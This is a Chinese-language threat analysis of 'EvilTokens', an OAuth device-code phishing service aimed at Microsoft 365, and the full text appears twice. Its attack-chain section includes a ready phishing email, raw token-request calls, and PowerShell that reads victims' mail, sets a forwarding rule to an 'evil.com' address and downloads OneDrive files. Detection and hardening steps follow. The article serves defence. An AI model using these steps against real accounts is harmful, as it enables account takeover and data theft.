摘要2026年2月爆发的EvilTokens OAuth钓鱼即服务(PhaaS)平台在短短5周内攻陷了全球5个国家344家微软365组织其核心武器是滥用OAuth 2.0设备码流实现全链路无密码、MFA无感绕过、持久化驻留。本文将从技术原理、攻击链复现、平台架构、防御体系四个维度深度剖析这一新型云身份威胁并提供可直接落地的检测与防护方案。一、事件背景云身份安全的珍珠港事件2026年3月28日微软威胁情报中心(MSTIC)发布紧急安全通报披露了一个代号为EvilTokens的新型钓鱼即服务平台。该平台自2月19日上线以来仅用35天就成功入侵了344家企业级Microsoft 365租户覆盖美国、加拿大、欧盟、中东和亚太地区其中包括多家财富500强企业和政府机构。与传统钓鱼不同EvilTokens全程使用微软官方域名不伪造任何钓鱼页面用户在microsoft.com/devicelogin完成的所有操作都是真实合法的。这意味着传统的URL检测、域名信誉、反钓鱼网关等安全措施完全失效甚至用户启用的所有类型MFA都无法阻止攻击。“这是我们见过的最危险的OAuth钓鱼攻击。它不是在破解MFA而是在完全绕过MFA。用户输入了正确的密码完成了正确的MFA验证然后他们的整个账户就被偷走了。”——微软身份安全部门主管Alex Weinert二、EvilTokens平台深度剖析商业化与AI赋能的完美结合EvilTokens代表了钓鱼攻击的工业化3.0时代从个人黑客的零散攻击进化为标准化、模块化、服务化的黑产平台。2.1 商业模式与定价体系平台通过Telegram机器人进行售卖和管理采用基础费模块化收费的商业模式基础套餐$1,500/月包含设备码生成、令牌获取、基础后渗透功能维护费$500/月提供基础设施更新、反检测升级、技术支持高级模块B2B跨租户攻击模块$600/月AI智能诱饵生成模块$800/月SMTP批量投递模块$1,000/月数据自动导出模块$400/月截至2026年4月平台已拥有超过120名付费客户累计产生超过30万美元的黑产收入。2.2 平台技术架构EvilTokens采用微服务架构全部部署在Railway、Vercel等主流PaaS平台上利用这些平台的高信誉IP和域名规避威胁情报检测攻击者Web控制台任务管理服务设备码生成集群微软Entra ID APIAI诱饵生成引擎SMTP投递集群令牌轮询服务令牌存储数据库后渗透自动化引擎微软Graph API受害者microsoft.com/devicelogin2.3 核心技术亮点AI动态诱饵生成基于GPT-4o微调的模型能够根据目标企业的行业、规模、角色生成高度个性化的钓鱼邮件。例如针对财务人员生成发票审批通知针对技术人员生成系统升级通知针对管理层生成董事会会议纪要。突破15分钟设备码限制通过动态生成新设备码并自动更新邮件内容规避了OAuth设备码原生15分钟的有效期限制。全链路反检测使用轮换的PaaS节点、合法域名重定向、浏览器指纹模拟等技术绕过90%以上的反钓鱼网关和EDR检测。自动化后渗透获取令牌后自动执行组织架构侦察、邮件规则创建、数据批量导出等操作无需人工干预。三、OAuth设备码钓鱼原理解析MFA的天然盲区3.1 正常OAuth 2.0设备码流(RFC 8628)设备码流是OAuth 2.0协议的一个扩展专门设计用于没有键盘或输入能力受限的设备如智能电视、游戏机、IoT设备等。用户(浏览器)微软授权服务器无键盘设备用户(浏览器)微软授权服务器无键盘设备请求设备码和验证URL返回device_code、user_code、verification_uri显示user_code和verification_uri访问verification_uri输入user_code输入用户名密码完成MFA显示授权确认页面点击授权返回access_token和refresh_token使用access_token访问资源3.2 EvilTokens攻击流合法协议的恶意滥用EvilTokens的天才之处在于它将攻击者自己伪装成一个无键盘设备然后诱导用户为这个恶意设备完成授权。微软资源服务器受害者(浏览器)微软授权服务器EvilTokens平台微软资源服务器受害者(浏览器)微软授权服务器EvilTokens平台无需密码无需MFA无异常登录日志用恶意Azure AD应用请求设备码返回device_code、user_code、verification_uri发送钓鱼邮件包含user_code和官方URL访问官方microsoft.com/devicelogin输入user_code用户名密码完成MFA显示授权EvilApp访问你的账户点击接受(误以为是正常操作)返回access_token和refresh_token使用refresh_token长期访问所有资源3.3 为什么MFA完全失效这是理解EvilTokens攻击最关键的一点MFA的设计目标是验证用户身份而不是验证授权对象的合法性。当用户在microsoft.com/devicelogin页面输入代码并完成MFA时微软确实验证了这是正确的用户名和密码这是正确的MFA验证码这确实是用户本人在操作但微软没有验证这个设备码是谁请求的这个应用是否是用户真正想要授权的这个应用请求的权限是否合理更致命的是攻击者获得的refresh_token是与会话完全解耦的。这意味着用户修改密码不会使refresh_token失效用户注销当前会话不会使refresh_token失效用户更换设备不会使refresh_token失效refresh_token的有效期由租户策略决定最长可达1年四、完整攻击链复现从诱饵到数据窃取为了让读者更直观地理解攻击过程我们将复现一次完整的EvilTokens攻击步骤1攻击者创建恶意Azure AD应用攻击者首先注册一个看似合法的Azure AD应用例如命名为Microsoft 365 Backup Service并请求以下权限Mail.ReadWrite读写所有邮件Files.ReadWrite.All读写所有OneDrive和SharePoint文件User.Read.All读取所有用户信息Calendars.ReadWrite读写所有日历MailboxSettings.ReadWrite修改邮箱设置步骤2生成设备码和钓鱼邮件攻击者在EvilTokens控制台输入目标邮箱地址平台自动调用微软API生成设备码POST https://login.microsoftonline.com/common/oauth2/v2.0/devicecode Content-Type: application/x-www-form-urlencoded client_id恶意应用IDscopeoffline_access Mail.ReadWrite Files.ReadWrite.All响应{device_code:OAQABAAAAAABe...,user_code:ABC123XYZ,verification_uri:https://microsoft.com/devicelogin,expires_in:900,interval:5}步骤3AI生成并投递钓鱼邮件EvilTokens的AI引擎根据目标角色生成个性化邮件主题紧急你的Microsoft 365账户需要备份验证 尊敬的张三先生 为了保障您的数据安全我们将于今晚对所有账户进行自动备份。 请在今天18:00前完成以下验证步骤 1. 访问官方验证页面https://microsoft.com/devicelogin 2. 输入验证代码ABC123XYZ 3. 使用您的账户登录并完成MFA验证 此操作仅需2分钟未验证的账户将在备份过程中暂停服务。 此致 Microsoft 365安全团队步骤4用户授权攻击者获取令牌用户点击官方链接输入代码完成MFA点击接受授权。与此同时EvilTokens平台每5秒轮询一次微软APIPOST https://login.microsoftonline.com/common/oauth2/v2.0/token Content-Type: application/x-www-form-urlencoded grant_typeurn:ietf:params:oauth:grant-type:device_code client_id恶意应用ID device_codeOAQABAAAAAABe...一旦用户授权微软立即返回令牌{token_type:Bearer,scope:Mail.ReadWrite Files.ReadWrite.All,expires_in:3600,access_token:eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs...,refresh_token:OAQABAAAAAABe...}步骤5持久化驻留与数据窃取攻击者使用refresh_token可以无限续期access_token然后通过Graph API执行各种操作# 连接到Microsoft GraphConnect-MgGraph-AccessToken$access_token# 读取所有邮件Get-MgUserMessage-UserId$targetUserId-All$true# 创建邮件转发规则New-MgUserMailFolderMessageRule-UserId$targetUserId-MailFolderId Inbox-BodyParameter {DisplayName AutoForwardSequence 1 IsEnabled $trueActions {ForwardTo ({EmailAddress {Address attackerevil.com}})}}# 下载所有OneDrive文件Get-MgUserDriveItem-UserId$targetUserId-DriveId$driveId-All$true|ForEach-Object{Invoke-WebRequest-Uri$_.WebUrl-OutFile$_.Name}五、检测与防御体系构建从紧急措施到长期策略5.1 紧急防御措施1小时内完成1. 全局禁用设备码流最有效这是阻止EvilTokens攻击最直接有效的方法。绝大多数企业没有合法的设备码流使用场景。PowerShell命令# 安装Azure AD模块Install-ModuleAzureADPreview# 连接到Azure ADConnect-AzureAD# 全局禁用设备码流Set-AzureADMSAuthorizationPolicy-DeviceCodeFlowEnabled$false# 验证配置Get-AzureADMSAuthorizationPolicy|Select-ObjectDeviceCodeFlowEnabled图形界面配置路径Microsoft Entra ID → 身份保护 → 条件访问 → 新建策略 → 云应用 → 所有云应用 → 会话 → 阻止设备代码流2. 批量撤销所有用户的refresh_token如果怀疑已经被攻击立即撤销所有用户的refresh_token# 撤销单个用户的refresh_tokenRevoke-AzureADUserAllRefreshToken-ObjectId$userId# 批量撤销所有用户的refresh_tokenGet-AzureADUser-All$true|ForEach-Object{Revoke-AzureADUserAllRefreshToken-ObjectId$_.ObjectId}5.2 中期检测措施1-3天完成1. 启用设备码流日志监控在Microsoft Sentinel中创建以下检测规则// 检测异常设备码流使用 SigninLogs | where AuthenticationMethod Device Code | where ResultType 0 | where IPAddress !in (已知合法IP列表) | project TimeGenerated, UserPrincipalName, IPAddress, Location, AppDisplayName2. 审计所有第三方应用授权定期审计用户授予第三方应用的权限特别是高风险权限# 获取所有用户的应用授权Get-AzureADUser-All$true|ForEach-Object{$user$_Get-AzureADUserOAuth2PermissionGrant-ObjectId$user.ObjectId|ForEach-Object{[PSCustomObject]{User $user.UserPrincipalName AppId $_.ClientId Scope $_.Scope ConsentType $_.ConsentType}}}|Export-Csv-PathAppPermissions.csv-NoTypeInformation5.3 长期防御策略1-4周完成限制用户同意权限禁止用户同意任何第三方应用仅允许管理员同意经过审核的企业应用。启用抗钓鱼MFA使用微软Authenticator的强验证功能它会显示应用名称和请求的权限帮助用户识别恶意授权。实施条件访问策略基于位置、设备、风险级别等因素限制应用授权。用户意识培训重点教育用户永远不要在microsoft.com/devicelogin输入邮件发来的代码。六、未来趋势与行业启示EvilTokens的爆发标志着云身份安全进入了一个新时代。传统的密码MFA安全模型已经不足以应对基于合法协议的攻击。未来我们将看到OAuth钓鱼攻击将成为主流越来越多的黑产平台将模仿EvilTokens的模式OAuth同意钓鱼将取代传统密码钓鱼成为第一大威胁。AI将全面赋能攻击AI生成的诱饵将越来越难以分辨攻击将更加个性化和精准化。身份安全将成为企业安全的核心企业需要从边界安全转向身份安全构建以零信任为基础的身份防御体系。协议层面的改进迫在眉睫OAuth 2.0协议本身存在的设计缺陷需要得到解决未来可能会出现更安全的身份验证协议。七、总结EvilTokens攻击给所有企业敲响了警钟MFA不是万能的。攻击者不再试图破解你的密码或绕过你的MFA而是利用合法的协议和用户的信任来获取你的身份令牌。防御EvilTokens这类攻击的核心在于禁用不需要的协议功能绝大多数企业不需要设备码流直接禁用它。严控令牌生命周期定期撤销refresh_token缩短令牌有效期。监控异常授权行为建立完善的应用授权审计和监控体系。提升用户安全意识让用户了解新型钓鱼攻击的特点和危害。云身份安全没有一劳永逸的解决方案只有持续的警惕和不断完善的防御体系才能保护企业的数字资产。
EvilTokens深度解析:OAuth设备码钓鱼如何5周绕过MFA攻陷340家企业
摘要2026年2月爆发的EvilTokens OAuth钓鱼即服务(PhaaS)平台在短短5周内攻陷了全球5个国家344家微软365组织其核心武器是滥用OAuth 2.0设备码流实现全链路无密码、MFA无感绕过、持久化驻留。本文将从技术原理、攻击链复现、平台架构、防御体系四个维度深度剖析这一新型云身份威胁并提供可直接落地的检测与防护方案。一、事件背景云身份安全的珍珠港事件2026年3月28日微软威胁情报中心(MSTIC)发布紧急安全通报披露了一个代号为EvilTokens的新型钓鱼即服务平台。该平台自2月19日上线以来仅用35天就成功入侵了344家企业级Microsoft 365租户覆盖美国、加拿大、欧盟、中东和亚太地区其中包括多家财富500强企业和政府机构。与传统钓鱼不同EvilTokens全程使用微软官方域名不伪造任何钓鱼页面用户在microsoft.com/devicelogin完成的所有操作都是真实合法的。这意味着传统的URL检测、域名信誉、反钓鱼网关等安全措施完全失效甚至用户启用的所有类型MFA都无法阻止攻击。“这是我们见过的最危险的OAuth钓鱼攻击。它不是在破解MFA而是在完全绕过MFA。用户输入了正确的密码完成了正确的MFA验证然后他们的整个账户就被偷走了。”——微软身份安全部门主管Alex Weinert二、EvilTokens平台深度剖析商业化与AI赋能的完美结合EvilTokens代表了钓鱼攻击的工业化3.0时代从个人黑客的零散攻击进化为标准化、模块化、服务化的黑产平台。2.1 商业模式与定价体系平台通过Telegram机器人进行售卖和管理采用基础费模块化收费的商业模式基础套餐$1,500/月包含设备码生成、令牌获取、基础后渗透功能维护费$500/月提供基础设施更新、反检测升级、技术支持高级模块B2B跨租户攻击模块$600/月AI智能诱饵生成模块$800/月SMTP批量投递模块$1,000/月数据自动导出模块$400/月截至2026年4月平台已拥有超过120名付费客户累计产生超过30万美元的黑产收入。2.2 平台技术架构EvilTokens采用微服务架构全部部署在Railway、Vercel等主流PaaS平台上利用这些平台的高信誉IP和域名规避威胁情报检测攻击者Web控制台任务管理服务设备码生成集群微软Entra ID APIAI诱饵生成引擎SMTP投递集群令牌轮询服务令牌存储数据库后渗透自动化引擎微软Graph API受害者microsoft.com/devicelogin2.3 核心技术亮点AI动态诱饵生成基于GPT-4o微调的模型能够根据目标企业的行业、规模、角色生成高度个性化的钓鱼邮件。例如针对财务人员生成发票审批通知针对技术人员生成系统升级通知针对管理层生成董事会会议纪要。突破15分钟设备码限制通过动态生成新设备码并自动更新邮件内容规避了OAuth设备码原生15分钟的有效期限制。全链路反检测使用轮换的PaaS节点、合法域名重定向、浏览器指纹模拟等技术绕过90%以上的反钓鱼网关和EDR检测。自动化后渗透获取令牌后自动执行组织架构侦察、邮件规则创建、数据批量导出等操作无需人工干预。三、OAuth设备码钓鱼原理解析MFA的天然盲区3.1 正常OAuth 2.0设备码流(RFC 8628)设备码流是OAuth 2.0协议的一个扩展专门设计用于没有键盘或输入能力受限的设备如智能电视、游戏机、IoT设备等。用户(浏览器)微软授权服务器无键盘设备用户(浏览器)微软授权服务器无键盘设备请求设备码和验证URL返回device_code、user_code、verification_uri显示user_code和verification_uri访问verification_uri输入user_code输入用户名密码完成MFA显示授权确认页面点击授权返回access_token和refresh_token使用access_token访问资源3.2 EvilTokens攻击流合法协议的恶意滥用EvilTokens的天才之处在于它将攻击者自己伪装成一个无键盘设备然后诱导用户为这个恶意设备完成授权。微软资源服务器受害者(浏览器)微软授权服务器EvilTokens平台微软资源服务器受害者(浏览器)微软授权服务器EvilTokens平台无需密码无需MFA无异常登录日志用恶意Azure AD应用请求设备码返回device_code、user_code、verification_uri发送钓鱼邮件包含user_code和官方URL访问官方microsoft.com/devicelogin输入user_code用户名密码完成MFA显示授权EvilApp访问你的账户点击接受(误以为是正常操作)返回access_token和refresh_token使用refresh_token长期访问所有资源3.3 为什么MFA完全失效这是理解EvilTokens攻击最关键的一点MFA的设计目标是验证用户身份而不是验证授权对象的合法性。当用户在microsoft.com/devicelogin页面输入代码并完成MFA时微软确实验证了这是正确的用户名和密码这是正确的MFA验证码这确实是用户本人在操作但微软没有验证这个设备码是谁请求的这个应用是否是用户真正想要授权的这个应用请求的权限是否合理更致命的是攻击者获得的refresh_token是与会话完全解耦的。这意味着用户修改密码不会使refresh_token失效用户注销当前会话不会使refresh_token失效用户更换设备不会使refresh_token失效refresh_token的有效期由租户策略决定最长可达1年四、完整攻击链复现从诱饵到数据窃取为了让读者更直观地理解攻击过程我们将复现一次完整的EvilTokens攻击步骤1攻击者创建恶意Azure AD应用攻击者首先注册一个看似合法的Azure AD应用例如命名为Microsoft 365 Backup Service并请求以下权限Mail.ReadWrite读写所有邮件Files.ReadWrite.All读写所有OneDrive和SharePoint文件User.Read.All读取所有用户信息Calendars.ReadWrite读写所有日历MailboxSettings.ReadWrite修改邮箱设置步骤2生成设备码和钓鱼邮件攻击者在EvilTokens控制台输入目标邮箱地址平台自动调用微软API生成设备码POST https://login.microsoftonline.com/common/oauth2/v2.0/devicecode Content-Type: application/x-www-form-urlencoded client_id恶意应用IDscopeoffline_access Mail.ReadWrite Files.ReadWrite.All响应{device_code:OAQABAAAAAABe...,user_code:ABC123XYZ,verification_uri:https://microsoft.com/devicelogin,expires_in:900,interval:5}步骤3AI生成并投递钓鱼邮件EvilTokens的AI引擎根据目标角色生成个性化邮件主题紧急你的Microsoft 365账户需要备份验证 尊敬的张三先生 为了保障您的数据安全我们将于今晚对所有账户进行自动备份。 请在今天18:00前完成以下验证步骤 1. 访问官方验证页面https://microsoft.com/devicelogin 2. 输入验证代码ABC123XYZ 3. 使用您的账户登录并完成MFA验证 此操作仅需2分钟未验证的账户将在备份过程中暂停服务。 此致 Microsoft 365安全团队步骤4用户授权攻击者获取令牌用户点击官方链接输入代码完成MFA点击接受授权。与此同时EvilTokens平台每5秒轮询一次微软APIPOST https://login.microsoftonline.com/common/oauth2/v2.0/token Content-Type: application/x-www-form-urlencoded grant_typeurn:ietf:params:oauth:grant-type:device_code client_id恶意应用ID device_codeOAQABAAAAAABe...一旦用户授权微软立即返回令牌{token_type:Bearer,scope:Mail.ReadWrite Files.ReadWrite.All,expires_in:3600,access_token:eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs...,refresh_token:OAQABAAAAAABe...}步骤5持久化驻留与数据窃取攻击者使用refresh_token可以无限续期access_token然后通过Graph API执行各种操作# 连接到Microsoft GraphConnect-MgGraph-AccessToken$access_token# 读取所有邮件Get-MgUserMessage-UserId$targetUserId-All$true# 创建邮件转发规则New-MgUserMailFolderMessageRule-UserId$targetUserId-MailFolderId Inbox-BodyParameter {DisplayName AutoForwardSequence 1 IsEnabled $trueActions {ForwardTo ({EmailAddress {Address attackerevil.com}})}}# 下载所有OneDrive文件Get-MgUserDriveItem-UserId$targetUserId-DriveId$driveId-All$true|ForEach-Object{Invoke-WebRequest-Uri$_.WebUrl-OutFile$_.Name}五、检测与防御体系构建从紧急措施到长期策略5.1 紧急防御措施1小时内完成1. 全局禁用设备码流最有效这是阻止EvilTokens攻击最直接有效的方法。绝大多数企业没有合法的设备码流使用场景。PowerShell命令# 安装Azure AD模块Install-ModuleAzureADPreview# 连接到Azure ADConnect-AzureAD# 全局禁用设备码流Set-AzureADMSAuthorizationPolicy-DeviceCodeFlowEnabled$false# 验证配置Get-AzureADMSAuthorizationPolicy|Select-ObjectDeviceCodeFlowEnabled图形界面配置路径Microsoft Entra ID → 身份保护 → 条件访问 → 新建策略 → 云应用 → 所有云应用 → 会话 → 阻止设备代码流2. 批量撤销所有用户的refresh_token如果怀疑已经被攻击立即撤销所有用户的refresh_token# 撤销单个用户的refresh_tokenRevoke-AzureADUserAllRefreshToken-ObjectId$userId# 批量撤销所有用户的refresh_tokenGet-AzureADUser-All$true|ForEach-Object{Revoke-AzureADUserAllRefreshToken-ObjectId$_.ObjectId}5.2 中期检测措施1-3天完成1. 启用设备码流日志监控在Microsoft Sentinel中创建以下检测规则// 检测异常设备码流使用 SigninLogs | where AuthenticationMethod Device Code | where ResultType 0 | where IPAddress !in (已知合法IP列表) | project TimeGenerated, UserPrincipalName, IPAddress, Location, AppDisplayName2. 审计所有第三方应用授权定期审计用户授予第三方应用的权限特别是高风险权限# 获取所有用户的应用授权Get-AzureADUser-All$true|ForEach-Object{$user$_Get-AzureADUserOAuth2PermissionGrant-ObjectId$user.ObjectId|ForEach-Object{[PSCustomObject]{User $user.UserPrincipalName AppId $_.ClientId Scope $_.Scope ConsentType $_.ConsentType}}}|Export-Csv-PathAppPermissions.csv-NoTypeInformation5.3 长期防御策略1-4周完成限制用户同意权限禁止用户同意任何第三方应用仅允许管理员同意经过审核的企业应用。启用抗钓鱼MFA使用微软Authenticator的强验证功能它会显示应用名称和请求的权限帮助用户识别恶意授权。实施条件访问策略基于位置、设备、风险级别等因素限制应用授权。用户意识培训重点教育用户永远不要在microsoft.com/devicelogin输入邮件发来的代码。六、未来趋势与行业启示EvilTokens的爆发标志着云身份安全进入了一个新时代。传统的密码MFA安全模型已经不足以应对基于合法协议的攻击。未来我们将看到OAuth钓鱼攻击将成为主流越来越多的黑产平台将模仿EvilTokens的模式OAuth同意钓鱼将取代传统密码钓鱼成为第一大威胁。AI将全面赋能攻击AI生成的诱饵将越来越难以分辨攻击将更加个性化和精准化。身份安全将成为企业安全的核心企业需要从边界安全转向身份安全构建以零信任为基础的身份防御体系。协议层面的改进迫在眉睫OAuth 2.0协议本身存在的设计缺陷需要得到解决未来可能会出现更安全的身份验证协议。七、总结EvilTokens攻击给所有企业敲响了警钟MFA不是万能的。攻击者不再试图破解你的密码或绕过你的MFA而是利用合法的协议和用户的信任来获取你的身份令牌。防御EvilTokens这类攻击的核心在于禁用不需要的协议功能绝大多数企业不需要设备码流直接禁用它。严控令牌生命周期定期撤销refresh_token缩短令牌有效期。监控异常授权行为建立完善的应用授权审计和监控体系。提升用户安全意识让用户了解新型钓鱼攻击的特点和危害。云身份安全没有一劳永逸的解决方案只有持续的警惕和不断完善的防御体系才能保护企业的数字资产。